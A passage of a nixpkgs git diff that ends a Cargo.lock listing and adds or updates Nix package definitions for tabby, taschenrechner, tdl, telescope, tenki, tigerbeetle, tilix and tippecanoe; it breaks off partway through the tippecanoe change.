"382810877fe448991dfc7f0dd6e3ae5d58088fd0ea5e35189655f84e6814fa56" +dependencies = [ + "void", +] + +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + +[[package]] +name = "url" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633" +dependencies = [ + "form_urlencoded", + "idna 0.5.0", + "percent-encoding", +] + +[[package]] +name = "url-parse" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d375da66174ba9b3697f36468fb6b9a981074537569a87ad2dc43de2a598063" +dependencies = [ + "regex", +] + +[[package]] +name = "utf-8" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9" + +[[package]] +name = "utf8-ranges" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7fcfc827f90e53a02eaef5e535ee14266c1d569214c6aa70133a624d8a3164ba" + +[[package]] +name = "utf8parse" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" + +[[package]] +name = "utoipa" +version = "3.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68ae74ef183fae36d650f063ae7bde1cacbe1cd7e72b617cbe1e985551878b98" +dependencies = [ + "indexmap 1.9.3", + "serde", + "serde_json", + "utoipa-gen", +] + +[[package]] +name = "utoipa-gen" +version = "3.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ea8ac818da7e746a63285594cce8a96f5e00ee31994e655bd827569cb8b137b" +dependencies = [ + "proc-macro-error", + "proc-macro2", + "quote", + "syn 2.0.32", +] + +[[package]] +name = "utoipa-swagger-ui" +version = "3.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "062bba5a3568e126ac72049a63254f4cb1da2eb713db0c1ab2a4c76be191db8c" +dependencies = [ + "axum", + "mime_guess", + "regex", + "rust-embed 6.6.1", + "serde", + "serde_json", + "utoipa", + "zip", +] + +[[package]] +name = "uuid" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc5cf98d8186244414c848017f0e2676b3fcb46807f6668a97dfe67359a3c4b7" +dependencies = [ + "getrandom 0.2.11", +] + +[[package]] +name = "uuid" +version = "1.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e395fcf16a7a3d8127ec99782007af141946b4795001f876d54fb0d55978560" +dependencies = [ + "getrandom 0.2.11", + "rand 0.8.5", + "serde", + "uuid-macro-internal", +] + +[[package]] +name = "uuid-macro-internal" +version = "1.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f49e7f3f3db8040a100710a11932239fd30697115e2ba4107080d8252939845e" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.32", +] + +[[package]] +name = "validator" +version = "0.16.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b92f40481c04ff1f4f61f304d61793c7b56ff76ac1469f1beb199b1445b253bd" +dependencies = [ + "idna 0.4.0", + "lazy_static", + "regex", + "serde", + "serde_derive", + "serde_json", + "url", + "validator_derive", +] + +[[package]] +name = "validator_derive" +version = "0.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc44ca3088bb3ba384d9aecf40c6a23a676ce23e09bdaca2073d99c207f864af" +dependencies = [ + "if_chain", + "lazy_static", + "proc-macro-error", + "proc-macro2", + "quote", + "regex", + "syn 1.0.109", + "validator_types", +] + +[[package]] +name = "validator_types" +version = "0.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "111abfe30072511849c5910134e8baf8dc05de4c0e5903d681cbd5c9c4d611e3" +dependencies = [ + "proc-macro2", + "syn 1.0.109", +] + +[[package]] +name = "valuable" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d" + +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + +[[package]] +name = "vergen" +version = "8.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbc5ad0d9d26b2c49a5ab7da76c3e79d3ee37e7821799f8223fcb8f2f391a2e7" +dependencies = [ + "anyhow", + "rustversion", + "time", +] + +[[package]] +name = "version_check" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" + +[[package]] +name = "void" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a02e4885ed3bc0f2de90ea6dd45ebcbb66dacffe03547fadbb0eeae2770887d" + +[[package]] +name = "walkdir" +version = "2.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "36df944cda56c7d8d8b7496af378e6b16de9284591917d307c9b4d313c44e698" +dependencies = [ + "same-file", + "winapi-util", +] + +[[package]] +name = "want" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ce8a968cb1cd110d136ff8b819a556d6fb6d919363c61534f6860c7eb172ba0" +dependencies = [ + "log", + "try-lock", +] + +[[package]] +name = "wasi" +version = "0.9.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "wasm-bindgen" +version = "0.2.87" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7706a72ab36d8cb1f80ffbf0e071533974a60d0a308d01a5d0375bf60499a342" +dependencies = [ + "cfg-if", + "wasm-bindgen-macro", +] + +[[package]] +name = "wasm-bindgen-backend" +version = "0.2.87" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ef2b6d3c510e9625e5fe6f509ab07d66a760f0885d858736483c32ed7809abd" +dependencies = [ + "bumpalo", + "log", + "once_cell", + "proc-macro2", + "quote", + "syn 2.0.32", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c02dbc21516f9f1f04f187958890d7e6026df8d16540b7ad9492bc34a67cea03" +dependencies = [ + "cfg-if", + "js-sys", + "wasm-bindgen", + "web-sys", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.87" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dee495e55982a3bd48105a7b947fd2a9b4a8ae3010041b9e0faab3f9cd028f1d" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.87" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "54681b18a46765f095758388f2d0cf16eb8d4169b639ab575a8f5693af210c7b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.32", + "wasm-bindgen-backend", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.87" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca6ad05a4870b2bf5fe995117d3728437bd27d7cd5f06f13c17443ef369775a1" + +[[package]] +name = "wasm-streams" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4609d447824375f43e1ffbc051b50ad8f4b3ae8219680c94452ea05eb240ac7" +dependencies = [ + "futures-util", + "js-sys", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", +] + +[[package]] +name = "web-sys" +version = "0.3.64" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b85cbef8c220a6abc02aefd892dfc0fc23afb1c6a426316ec33253a3877249b" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "which" +version = "4.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2441c784c52b289a054b7201fc93253e288f094e2f4be9058343127c4226a269" +dependencies = [ + "either", + "libc", + "once_cell", +] + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" +dependencies = [ + "winapi", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e686886bc078bc1b0b600cac0147aadb815089b6e4da64016cbd754b6342700f" +dependencies = [ + "windows-targets 0.48.0", +] + +[[package]] +name = "windows-sys" +version = "0.42.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a3e1820f08b8513f676f7ab6c1f99ff312fb97b553d30ff4dd86f9f15728aa7" +dependencies = [ + "windows_aarch64_gnullvm 0.42.2", + "windows_aarch64_msvc 0.42.2", + "windows_i686_gnu 0.42.2", + "windows_i686_msvc 0.42.2", + "windows_x86_64_gnu 0.42.2", + "windows_x86_64_gnullvm 0.42.2", + "windows_x86_64_msvc 0.42.2", +] + +[[package]] +name = "windows-sys" +version = "0.45.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0" +dependencies = [ + "windows-targets 0.42.2", +] + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets 0.48.0", +] + +[[package]] +name = "windows-targets" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071" +dependencies = [ + "windows_aarch64_gnullvm 0.42.2", + "windows_aarch64_msvc 0.42.2", + "windows_i686_gnu 0.42.2", + "windows_i686_msvc 0.42.2", + "windows_x86_64_gnu 0.42.2", + "windows_x86_64_gnullvm 0.42.2", + "windows_x86_64_msvc 0.42.2", +] + +[[package]] +name = "windows-targets" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b1eb6f0cd7c80c79759c929114ef071b87354ce476d9d94271031c0497adfd5" +dependencies = [ + "windows_aarch64_gnullvm 0.48.0", + "windows_aarch64_msvc 0.48.0", + "windows_i686_gnu 0.48.0", + "windows_i686_msvc 0.48.0", + "windows_x86_64_gnu 0.48.0", + "windows_x86_64_gnullvm 0.48.0", + "windows_x86_64_msvc 0.48.0", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3" + +[[package]] +name = "windows_i686_gnu" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241" + +[[package]] +name = "windows_i686_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a515f5799fe4961cb532f983ce2b23082366b898e52ffbce459c86f67c8378a" + +[[package]] +name = "winnow" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61de7bac303dc551fe038e2b3cef0f571087a47571ea6e79a87692ac99b99699" +dependencies = [ + "memchr", +] + +[[package]] +name = "winreg" +version = "0.50.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "524e57b2c537c0f9b1e69f1965311ec12182b4122e45035b1508cd24d2adadb1" +dependencies = [ + "cfg-if", + "windows-sys 0.48.0", +] + +[[package]] +name = "wrapcenum-derive" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6bcc065c85ad2c3bd12aa4118bf164835712e25080c392557801a13292c60aec" +dependencies = [ + "darling 0.10.2", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "yaml-rust" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56c1936c4cc7a1c9ab21a1ebb602eb942ba868cbd44a99cb7cdc5892335e1c85" +dependencies = [ + "linked-hash-map", +] + +[[package]] +name = "zerocopy" +version = "0.7.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74d4d3961e53fa4c9a25a8637fc2bfaf2595b3d3ae34875568a5cf64787716be" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.7.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ce1b18ccd8e73a9321186f97e46f9f04b778851177567b1975109d26a08d2a6" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.32", +] + +[[package]] +name = "zip" +version = "0.6.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "760394e246e4c28189f19d488c058bf16f564016aefac5d32bb1f3b51d5e9261" +dependencies = [ + "byteorder", + "crc32fast", + "crossbeam-utils", + "flate2", +] + +[[package]] +name = "zstd" +version = "0.12.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a27595e173641171fc74a1232b7b1c7a7cb6e18222c11e9dfb9888fa424c53c" +dependencies = [ + "zstd-safe", +] + +[[package]] +name = "zstd-safe" +version = "6.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee98ffd0b48ee95e6c5168188e44a54550b1564d9d530ee21d5f0eaed1069581" +dependencies = [ + "libc", + "zstd-sys", +] + +[[package]] +name = "zstd-sys" +version = "2.0.8+zstd.1.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5556e6ee25d32df2586c098bbfa278803692a20d0ab9565e049480d52707ec8c" +dependencies = [ + "cc", + "libc", + "pkg-config", +] diff --git a/pkgs/by-name/ta/tabby/package.nix b/pkgs/by-name/ta/tabby/package.nix new file mode 100644 index 0000000000000..fa52d372ab9a8 --- /dev/null +++ b/pkgs/by-name/ta/tabby/package.nix @@ -0,0 +1,171 @@ +{ config +, lib +, rustPlatform +, fetchFromGitHub +, stdenv + +, git +, openssl +, pkg-config +, protobuf + +, llama-cpp + +, cudaSupport ? config.cudaSupport +, cudaPackages ? { } + +, rocmSupport ? config.rocmSupport + +, darwin +, metalSupport ? stdenv.isDarwin && stdenv.isAarch64 + + # one of [ null "cpu" "rocm" "cuda" "metal" ]; +, acceleration ? null +}: + +let + inherit (lib) optional optionals flatten; + # References: + # https://github.com/NixOS/nixpkgs/blob/master/pkgs/by-name/ll/llama-cpp/package.nix + # https://github.com/NixOS/nixpkgs/blob/master/pkgs/tools/misc/ollama/default.nix + + pname = "tabby"; + version = "0.8.3"; + + + availableAccelerations = flatten [ + (optional cudaSupport "cuda") + (optional rocmSupport "rocm") + (optional metalSupport "metal") + ]; + + warnIfMultipleAccelerationMethods = configured: (let + len = builtins.length configured; + result = if len == 0 then "cpu" else (builtins.head configured); + in + lib.warnIf (len > 1) '' + building tabby with multiple acceleration methods enabled is not + supported; falling back to `${result}` + '' + result + ); + + # If user did not not override the acceleration attribute, then try to use one of + # - nixpkgs.config.cudaSupport + # - nixpkgs.config.rocmSupport + # - metal if (stdenv.isDarwin && stdenv.isAarch64) + # !! warn if multiple acceleration methods are enabled and default to the first one in the list + featureDevice = if (builtins.isNull acceleration) then (warnIfMultipleAccelerationMethods availableAccelerations) else acceleration; + + warnIfNotLinux = api: (lib.warnIfNot stdenv.isLinux + "building tabby with `${api}` is only supported on linux; falling back to cpu" + stdenv.isLinux); + warnIfNotDarwinAarch64 = api: (lib.warnIfNot (stdenv.isDarwin && stdenv.isAarch64) + "building tabby with `${api}` is only supported on Darwin-aarch64; falling back to cpu" + (stdenv.isDarwin && stdenv.isAarch64)); + + validAccel = lib.assertOneOf "tabby.featureDevice" featureDevice [ "cpu" "rocm" "cuda" "metal" ]; + + # TODO(ghthor): there is a bug here where featureDevice could be cuda, but enableCuda is false + # The would result in a startup failure of the service module. + enableRocm = validAccel && (featureDevice == "rocm") && (warnIfNotLinux "rocm"); + enableCuda = validAccel && (featureDevice == "cuda") && (warnIfNotLinux "cuda"); + enableMetal = validAccel && (featureDevice == "metal") && (warnIfNotDarwinAarch64 "metal"); + + # We have to use override here because tabby doesn't actually tell llama-cpp + # to use a specific device type as it is relying on llama-cpp only being + # built to use one type of device. + # + # See: https://github.com/TabbyML/tabby/blob/v0.8.3/crates/llama-cpp-bindings/include/engine.h#L20 + # + llamaccpPackage = llama-cpp.override { + rocmSupport = enableRocm; + cudaSupport = enableCuda; + metalSupport = enableMetal; + }; + + # TODO(ghthor): some of this can be removed + darwinBuildInputs = [ llamaccpPackage ] + ++ optionals stdenv.isDarwin (with darwin.apple_sdk.frameworks; [ + Foundation + Accelerate + CoreVideo + CoreGraphics + ] + ++ optionals enableMetal [ Metal MetalKit ]); + + cudaBuildInputs = [ llamaccpPackage ]; + rocmBuildInputs = [ llamaccpPackage ]; + + LLAMA_CPP_LIB = "${llamaccpPackage.outPath}/lib"; + +in +rustPlatform.buildRustPackage { + inherit pname version; + inherit featureDevice; + + src = fetchFromGitHub { + owner = "TabbyML"; + repo = "tabby"; + rev = "v${version}"; + hash = "sha256-+5Q5XKfh7+g24y2hBqJC/jNEoRytDdcRdn838xc7c8w="; + fetchSubmodules = true; + }; + + cargoLock = { + lockFile = ./Cargo.lock; + outputHashes = { + "tree-sitter-c-0.20.6" = "sha256-Etl4s29YSOxiqPo4Z49N6zIYqNpIsdk/Qd0jR8jdvW4="; + "tree-sitter-cpp-0.20.3" = "sha256-UrQ48CoUMSHmlHzOMu22c9N4hxJtHL2ZYRabYjf5byA="; + }; + }; + + # https://github.com/TabbyML/tabby/blob/v0.7.0/.github/workflows/release.yml#L39 + cargoBuildFlags = [ + "--release" + "--package" "tabby" + ] ++ optionals enableRocm [ + "--features" "rocm" + ] ++ optionals enableCuda [ + "--features" "cuda" + ]; + + OPENSSL_NO_VENDOR = 1; + + nativeBuildInputs = [ + pkg-config + protobuf + git + ] ++ optionals enableCuda [ + # TODO: Replace with autoAddDriverRunpath + # once https://github.com/NixOS/nixpkgs/pull/275241 has been merged + cudaPackages.autoAddOpenGLRunpathHook + ]; + + buildInputs = [ openssl ] + ++ optionals stdenv.isDarwin darwinBuildInputs + ++ optionals enableCuda cudaBuildInputs + ++ optionals enableRocm rocmBuildInputs + ; + + env = lib.mergeAttrsList [ + { inherit LLAMA_CPP_LIB; } + # Work around https://github.com/NixOS/nixpkgs/issues/166205 + (lib.optionalAttrs stdenv.cc.isClang { NIX_LDFLAGS = "-l${stdenv.cc.libcxx.cxxabi.libName}"; }) + ]; + patches = [ ./0001-nix-build-use-nix-native-llama-cpp-package.patch ]; + + # Fails with: + # file cannot create directory: /var/empty/local/lib64/cmake/Llama + doCheck = false; + + meta = with lib; { + homepage = "https://github.com/TabbyML/tabby"; + changelog = "https://github.com/TabbyML/tabby/releases/tag/v${version}"; + description = "Self-hosted AI coding assistant"; + mainProgram = "tabby"; + license = licenses.asl20; + maintainers = [ maintainers.ghthor ]; + broken = stdenv.isDarwin && !stdenv.isAarch64; + }; +} diff --git a/pkgs/by-name/ta/taschenrechner/package.nix b/pkgs/by-name/ta/taschenrechner/package.nix index eeb2b841abffa..1b45c783830d4 100644 --- a/pkgs/by-name/ta/taschenrechner/package.nix +++ b/pkgs/by-name/ta/taschenrechner/package.nix @@ -5,17 +5,17 @@ rustPlatform.buildRustPackage rec { pname = "taschenrechner"; - version = "1.3.0"; + version = "1.4.0"; src = fetchFromGitLab { domain = "gitlab.fem-net.de"; owner = "mabl"; repo = "taschenrechner"; rev = version; - hash = "sha256-PF9VCdlgA4c4Qw8Ih3JT29/r2e7i162lVAbW1QSOlWo="; + hash = "sha256-5Vml6UeiWz7fNA+vEQ/Ita2YI8dGgDclqkzQ848AwVk="; }; - cargoHash = "sha256-SFgStvpcqEwus1JBs5ZyMHO1UD0oWV7mvS6o4v5gIFc="; + cargoHash = "sha256-BZGkdHR66O3GjKl9yM/bKxdGdvWFB/YO2Egg6V/wuB8="; meta = with lib; { description = "A cli-calculator written in Rust"; diff --git a/pkgs/by-name/td/tdl/package.nix b/pkgs/by-name/td/tdl/package.nix index d4abe11fe7646..2cd2e1a8fa246 100644 --- a/pkgs/by-name/td/tdl/package.nix +++ b/pkgs/by-name/td/tdl/package.nix @@ -4,16 +4,16 @@ }: buildGoModule rec { pname = "tdl"; - version = "0.15.1"; + version = "0.16.1"; src = fetchFromGitHub { owner = "iyear"; repo = "tdl"; rev = "v${version}"; - hash = "sha256-vKcKHxPwF7kdsEASJ4VunPZ9kVztPq3yH8RnCd9uI9A="; + hash = "sha256-xSnACm7LrsyhtQevDtP36bKeExSFd4Xsn7xLSLi7i+I="; }; - vendorHash = "sha256-v5okd7PAnA2JsgZ4SqvpZmXOQXSCzl+SwFx9NWo7C/0="; + vendorHash = "sha256-VYxTSon2U9qj9sbMSlXrDFeOTOZXQVX2PyS+EDBG+YM="; ldflags = [ "-s" diff --git a/pkgs/applications/networking/browsers/telescope/default.nix b/pkgs/by-name/te/telescope/package.nix index 92124531691d7..610a93ce84cc1 100644 --- a/pkgs/applications/networking/browsers/telescope/default.nix +++ b/pkgs/by-name/te/telescope/package.nix @@ -4,6 +4,7 @@ , pkg-config , bison , libevent +, libgrapheme , libressl , ncurses , autoreconfHook @@ -13,15 +14,20 @@ stdenv.mkDerivation rec { pname = "telescope"; - version = "0.8.1"; + version = "0.9"; src = fetchFromGitHub { owner = "omar-polo"; repo = pname; rev = version; - sha256 = "sha256-9gZeBAC7AGU5vb+692npjKbbqFEAr9iGLu1u68EJ0W8="; + hash = "sha256-eGntAAaKSwusm3e0zDXZmV9D5uX/uThPvQ5OjPNsxZ8="; }; + postPatch = '' + # Remove bundled libraries + rm -r libgrapheme + ''; + nativeBuildInputs = [ autoreconfHook pkg-config @@ -30,6 +36,7 @@ stdenv.mkDerivation rec { buildInputs = [ libevent + libgrapheme libressl ncurses ] ++ lib.optional stdenv.isDarwin memstreamHook; diff --git a/pkgs/by-name/te/tenki/package.nix b/pkgs/by-name/te/tenki/package.nix new file mode 100644 index 0000000000000..e00d27eca21cc --- /dev/null +++ b/pkgs/by-name/te/tenki/package.nix @@ -0,0 +1,25 @@ +{ lib +, fetchFromGitHub +, rustPlatform +}: +rustPlatform.buildRustPackage rec { + pname = "tenki"; + version = "1.4.0"; + + src = fetchFromGitHub { + owner = "ckaznable"; + repo = "tenki"; + rev = "v${version}"; + hash = "sha256-64yNMO+Tm8APF2NnygQuub4z7kCxxf+T1urgA4Qs104="; + }; + + cargoHash = "sha256-R6Bfk3kW8721Q++dSY4u7AbUukBT0PODfFXsXuugWdk="; + + meta = with lib; { + description = "tty-clock with weather effect"; + homepage = "https://github.com/ckaznable/tenki"; + license = licenses.mit; + maintainers = with maintainers; [ iynaix ]; + mainProgram = "tenki"; + }; +} diff --git a/pkgs/by-name/ti/tigerbeetle/package.nix b/pkgs/by-name/ti/tigerbeetle/package.nix index 8baa7488c3965..dff6b847fd12b 100644 --- a/pkgs/by-name/ti/tigerbeetle/package.nix +++ b/pkgs/by-name/ti/tigerbeetle/package.nix @@ -14,13 +14,13 @@ let in stdenv.mkDerivation (finalAttrs: { pname = "tigerbeetle"; - version = "0.14.178"; + version = "0.14.183"; src = fetchFromGitHub { owner = "tigerbeetle"; repo = "tigerbeetle"; rev = "refs/tags/${finalAttrs.version}"; - hash = "sha256-QbNfy9S+h+o6WJTMdNzGsGZhrfCTGTyhcO3psbmQKaU="; + hash = "sha256-vyxuzSTwaXrQKVErxiwxjOQWUnHQMEl+PQGd/HU+noc="; }; nativeBuildInputs = [ custom_zig_hook ]; diff --git a/pkgs/applications/terminal-emulators/tilix/default.nix b/pkgs/by-name/ti/tilix/package.nix index 65da21cbabc79..2e0bdad0be8c3 100644 --- a/pkgs/applications/terminal-emulators/tilix/default.nix +++ b/pkgs/by-name/ti/tilix/package.nix @@ -1,4 +1,5 @@ -{ lib, stdenv +{ lib +, stdenv , fetchFromGitHub , meson , ninja @@ -16,18 +17,17 @@ , libunwind , appstream , nixosTests -, fetchpatch }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "tilix"; - version = "1.9.5"; + version = "1.9.6"; src = fetchFromGitHub { owner = "gnunn1"; repo = "tilix"; - rev = version; - sha256 = "sha256-sPVL5oYDOmloRVm/nONKkC20vZc907c7ixBF6E2PQ8Y="; + rev = finalAttrs.version; + hash = "sha256-KP0ojwyZ5FaYKW0nK9mGGAiz1h+gTbfjCUDCgN2LAO8="; }; # Default upstream else LDC fails to link @@ -56,15 +56,6 @@ stdenv.mkDerivation rec { libunwind ]; - patches = [ - # https://github.com/gnunn1/tilix/issues/2151 - (fetchpatch { - name = "tilix-replace-std-xml-with-gmarkup.patch"; - url = "https://github.com/gnunn1/tilix/commit/b02779737997a02b98b690e6f8478d28d5e931a5.patch"; - hash = "sha256-6p+DomJEZ/hCW8RTjttKsTDsgHZ6eFKj/71TU5O/Ysg="; - }) - ]; - postPatch = '' chmod +x meson_post_install.py patchShebangs meson_post_install.py @@ -81,8 +72,8 @@ stdenv.mkDerivation rec { description = "Tiling terminal emulator following the Gnome Human Interface Guidelines"; homepage = "https://gnunn1.github.io/tilix-web"; license = licenses.mpl20; - maintainers = with maintainers; [ midchildan ]; + maintainers = with maintainers; [ midchildan jtbx ]; platforms = platforms.linux; mainProgram = "tilix"; }; -} +}) diff --git a/pkgs/applications/misc/tippecanoe/default.nix b/pkgs/by-name/ti/tippecanoe/package.nix index 60b4aa9e80dae..056391f5119e0 100644 --- a/pkgs/applications/misc/tippecanoe/default.nix +++ b/pkgs/by-name/ti/tippecanoe/package.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "tippecanoe"; - version = "2.43.0"; + version = "2.49.0"; src = fetchFromGitHub { owner = "felt"; repo = "tippecanoe"; rev = finalAttrs.version; - hash = "sha256-qJB3Y4UaSmSsDbT/EB+aQSvJj8+yYkI3sQR2UOjilfE="; + hash = 